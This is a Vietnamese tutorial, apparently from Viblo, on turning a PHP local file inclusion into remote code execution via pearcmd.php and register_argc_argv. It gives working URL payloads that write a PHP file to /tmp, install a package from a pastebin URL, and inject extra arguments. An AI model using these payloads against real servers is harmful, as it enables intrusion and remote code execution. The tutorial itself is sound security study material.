Giới thiệu về PECL và PEARCMD
PECL (PHP Extension Community Library) là một thư viện mở rộng cho ngôn ngữ PHP, cho phép bổ sung các tính năng mới và tích hợp các thư viện cần thiết.
Điều kiện cần thiết để khai thác
Để thực hiện việc khai thác lỗ hổng LFI (Local File Inclusion) thông qua PEARCMD, cần lưu ý những điều kiện sau:
- Sử dụng lỗ hổng LFI: Việc khai thác phụ thuộc vào sự tồn tại của lỗ hổng LFI trong ứng dụng.
- Docker Image: Trong mọi phiên bản Docker image,
pecl/pear
sẽ được cài đặt mặc định và đường dẫn là/usr/local/lib/php
(có trong thiết lậpinclude_path
). - Tham số
register_argc_argv
: Giá trị này phải được thiết lập làon
.
Tham số register_argc_argv
Mặc định, tham số này có giá trị là off
. Khi được thiết lập on
, người dùng có thể kiểm soát giá trị của $_SERVER['argc']
và $_SERVER['argv']
trong mã PHP. Ví dụ:
php
<?php
var_dump($_SERVER['argv']);
var_dump($_SERVER['argc']); // số param
?>
Các tham số sẽ được phân tách bằng dấu +
thay vì &
.
Tác động của register_argc_argv
tới PEAR
Tham số $_SERVER['argv']
trả về các tham số cho PEAR để xử lý và thực thi. Một ví dụ cụ thể là việc tạo file cấu hình thông qua config-create
bằng pearcmd.php
:
bash
php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php
Kết quả
Nếu điều kiện LFI được thỏa mãn, câu lệnh trên có thể thực thi qua HTTP request nhờ vào giao thức CGI.
Cách thức hoạt động
CGI (Common Gateway Interface) là giao thức chuẩn cho việc tương tác giữa web server và các ứng dụng trên server. RFC3875 quy định rằng nếu query string không chứa ký tự =
chưa được mã hóa và method là GET
hoặc HEAD
, thì query string sẽ được sử dụng như các tham số cho command line.
Một số chức năng của PEAR được nêu rõ qua đoạn mã dưới đây:
php
public static function readPHPArgv()
{
global $argv;
// logic lấy giá trị argv
}
Một số payload phổ biến
1. Payload ghi file
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
2. Payload cài đặt package
/?+install+--force+--installroot+/tmp/wtf+https://pastebin.com/raw/Z4cejG3f+?&file=/usr/local/lib/php/pearcmd.php
3. Command Injection
/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14
4. Command injection 2
- Chạy thử package của PEAR, áp dụng setting của file
php.ini
.
Một số bài CTF điển hình
Nội dung các bài CTF liên quan đến LFI và RCE có thể tham khảo tại các nguồn khác nhau. Trong bài này, việc áp dụng lý thuyết vào thực tiễn trong các trường hợp này có thể giúp rút ra những kiến thức quan trọng về bảo mật ứng dụng web.
Kết luận
Việc khai thác lỗ hổng LFI2RCE thông qua PHP PEARCMD là một quá trình thú vị nhưng cũng đầy thách thức. Sự hiểu biết về các chi tiết kỹ thuật và các payload phù hợp có thể giúp tìm ra các lỗ hổng trong hệ thống và từ đó cải thiện an ninh mạng cho các ứng dụng web.
source: viblo